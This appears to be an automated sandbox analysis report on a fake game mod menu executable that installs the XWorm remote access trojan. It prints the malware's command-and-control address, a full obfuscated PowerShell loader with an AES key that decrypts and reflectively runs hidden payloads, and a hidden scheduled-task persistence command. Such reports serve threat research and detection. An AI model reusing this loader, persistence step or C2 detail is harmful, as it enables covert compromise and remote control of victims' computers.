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Analysis

  • max time kernel
    141s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/05/2024, 11:21

General

  • Target

    kiddionsmodmenu.exe

  • Size

    386KB

  • MD5

    88e737816cc5f3e3809152c5f9dad5be

  • SHA1

    56dedf42285c74795f714dbac7782a5d0e695a97

  • SHA256

    6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

  • SHA512

    8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd

  • SSDEEP

    12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Malware Config

Extracted

Family

xworm

Version

5.0

C2

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
    "C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4160
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zSF32A.tmp\XClient_Dealed.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3200
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zSF32A.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        3⤵
          PID:3156
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1252
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_138_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_138.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2480
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_138.vbs"
            4⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:640
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_138.bat" "
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4332
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_138.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                6⤵
                  PID:456
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                  6⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2908
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1316 --field-trial-handle=2280,i,11703952675008463361,17436195144517971517,262144 --variations-seed-version /prefetch:8
        1⤵
          PID:404

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          9751fcb3d8dc82d33d50eebe53abe314

          SHA1

          7a680212700a5d9f3ca67c81e0e243834387c20c

          SHA256

          ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

          SHA512

          54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

          Filesize

          53KB

          MD5

          3337d66209faa998d52d781d0ff2d804

          SHA1

          6594b85a70f998f79f43cdf1ca56137997534156

          SHA256

          9b946b062865f68b9f0f43a011d33d7ea0926a3c8f78fb20d9cab6144314e1bd

          SHA512

          8bbd14bd73111f7b55712f5d1e1b727e41db8e6e0c1243ee6809ff32b509e52dec7af34c064151fb5beccd59dda434a3f83abe987c561a25abfbb4cbcf9c7f1f

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

          Filesize

          53KB

          MD5

          19bc2483e88e112153a679717144b69e

          SHA1

          281d7a517a66fe2b7552802d8c3386d5b2ef5012

          SHA256

          e21107774b634e61bfb02da292ef3416423f61fef0e8b3c35c21fba9fd0607e9

          SHA512

          534a37ac15a5e9815d92270e139b1b826c32ce2856392132493ab30140630ed6de17e6a1e4c41b7cb9df00fcbfb1066de2ef1cfa8c9394560edfca8f3a1f804d

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

          Filesize

          20KB

          MD5

          f9615faf3a812293eb056573194e0708

          SHA1

          942bc8c62b31f0932df16ca04323dc606bde9178

          SHA256

          d309f1021447d68077367537a7fd8c2c66cfdddc57be9705b1fd37a33282591c

          SHA512

          82bdc8f1ad25045b49b8c72d9d12b1a1ff293c5d5a61a464798d7d379a19fda26a48331ce7b7941468a23bd0d9ff9d79cd61d158fad980e8d8ad9f64af7863c3

        • C:\Users\Admin\AppData\Local\Temp\7zSF32A.tmp\XClient_Dealed.bat

          Filesize

          152KB

          MD5

          0b426e8571f8d3e437b7a42e9b8fd808

          SHA1

          986edba4c39be9edb552284dac555e2e95f68a4a

          SHA256

          9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

          SHA512

          e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_judeckqz.t0i.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\Windows_Log_138.vbs

          Filesize

          115B

          MD5

          2571c775187240e52e7a406a70ed0b01

          SHA1

          40a1f66db6c7237d0083578f1e43fd30ded6798e

          SHA256

          bbb919f5818c47ac539f13285dd37cf8ea3a5e3d239bc5026b134c3945d4413b

          SHA512

          e4d8d57624b2d14ccd19679443095cf5e8ddeab4dd87c0cf1d2ac2c9c0d09bdb680c68f47ff69ae6206079f4acd355843cb658c4220e0f13e30f21b3618d0f57

        • memory/1252-32-0x0000000008BE0000-0x0000000009184000-memory.dmp

          Filesize

          5.6MB

        • memory/1252-8-0x0000000073430000-0x0000000073BE0000-memory.dmp

          Filesize

          7.7MB

        • memory/1252-11-0x0000000005FB0000-0x0000000006016000-memory.dmp

          Filesize

          408KB

        • memory/1252-22-0x0000000006090000-0x00000000063E4000-memory.dmp

          Filesize

          3.3MB

        • memory/1252-23-0x00000000065A0000-0x00000000065BE000-memory.dmp

          Filesize

          120KB

        • memory/1252-24-0x0000000006820000-0x000000000686C000-memory.dmp

          Filesize

          304KB

        • memory/1252-25-0x0000000007530000-0x0000000007574000-memory.dmp

          Filesize

          272KB

        • memory/1252-26-0x0000000073430000-0x0000000073BE0000-memory.dmp

          Filesize

          7.7MB

        • memory/1252-27-0x00000000078B0000-0x0000000007926000-memory.dmp

          Filesize

          472KB

        • memory/1252-28-0x0000000007FB0000-0x000000000862A000-memory.dmp

          Filesize

          6.5MB

        • memory/1252-29-0x0000000007950000-0x000000000796A000-memory.dmp

          Filesize

          104KB

        • memory/1252-30-0x0000000007A70000-0x0000000007A78000-memory.dmp

          Filesize

          32KB

        • memory/1252-31-0x0000000007A90000-0x0000000007AAE000-memory.dmp

          Filesize

          120KB

        • memory/1252-10-0x00000000058E0000-0x0000000005902000-memory.dmp

          Filesize

          136KB

        • memory/1252-5-0x000000007343E000-0x000000007343F000-memory.dmp

          Filesize

          4KB

        • memory/1252-6-0x00000000030B0000-0x00000000030E6000-memory.dmp

          Filesize

          216KB

        • memory/1252-75-0x0000000073430000-0x0000000073BE0000-memory.dmp

          Filesize

          7.7MB

        • memory/1252-74-0x0000000073430000-0x0000000073BE0000-memory.dmp

          Filesize

          7.7MB

        • memory/1252-56-0x000000007343E000-0x000000007343F000-memory.dmp

          Filesize

          4KB

        • memory/1252-7-0x0000000073430000-0x0000000073BE0000-memory.dmp

          Filesize

          7.7MB

        • memory/1252-58-0x0000000073430000-0x0000000073BE0000-memory.dmp

          Filesize

          7.7MB

        • memory/1252-12-0x0000000006020000-0x0000000006086000-memory.dmp

          Filesize

          408KB

        • memory/1252-9-0x0000000005980000-0x0000000005FA8000-memory.dmp

          Filesize

          6.2MB

        • memory/1252-61-0x0000000073430000-0x0000000073BE0000-memory.dmp

          Filesize

          7.7MB

        • memory/2480-60-0x0000000005260000-0x0000000005271000-memory.dmp

          Filesize

          68KB

        • memory/2480-59-0x0000000007880000-0x0000000007916000-memory.dmp

          Filesize

          600KB

        • memory/2480-57-0x0000000007660000-0x000000000766A000-memory.dmp

          Filesize

          40KB

        • memory/2480-55-0x00000000074D0000-0x0000000007573000-memory.dmp

          Filesize

          652KB

        • memory/2480-54-0x0000000006880000-0x000000000689E000-memory.dmp

          Filesize

          120KB

        • memory/2480-44-0x000000006FCC0000-0x000000006FD0C000-memory.dmp

          Filesize

          304KB

        • memory/2480-43-0x0000000007490000-0x00000000074C2000-memory.dmp

          Filesize

          200KB

        • memory/2908-85-0x00000000058D0000-0x0000000005C24000-memory.dmp

          Filesize

          3.3MB

        • memory/2908-87-0x0000000005E90000-0x0000000005EDC000-memory.dmp

          Filesize

          304KB

        • memory/2908-89-0x0000000005C30000-0x0000000005C3E000-memory.dmp

          Filesize

          56KB

        • memory/2908-90-0x0000000007460000-0x00000000074FC000-memory.dmp

          Filesize

          624KB

        • memory/2908-91-0x0000000007FE0000-0x0000000008072000-memory.dmp

          Filesize

          584KB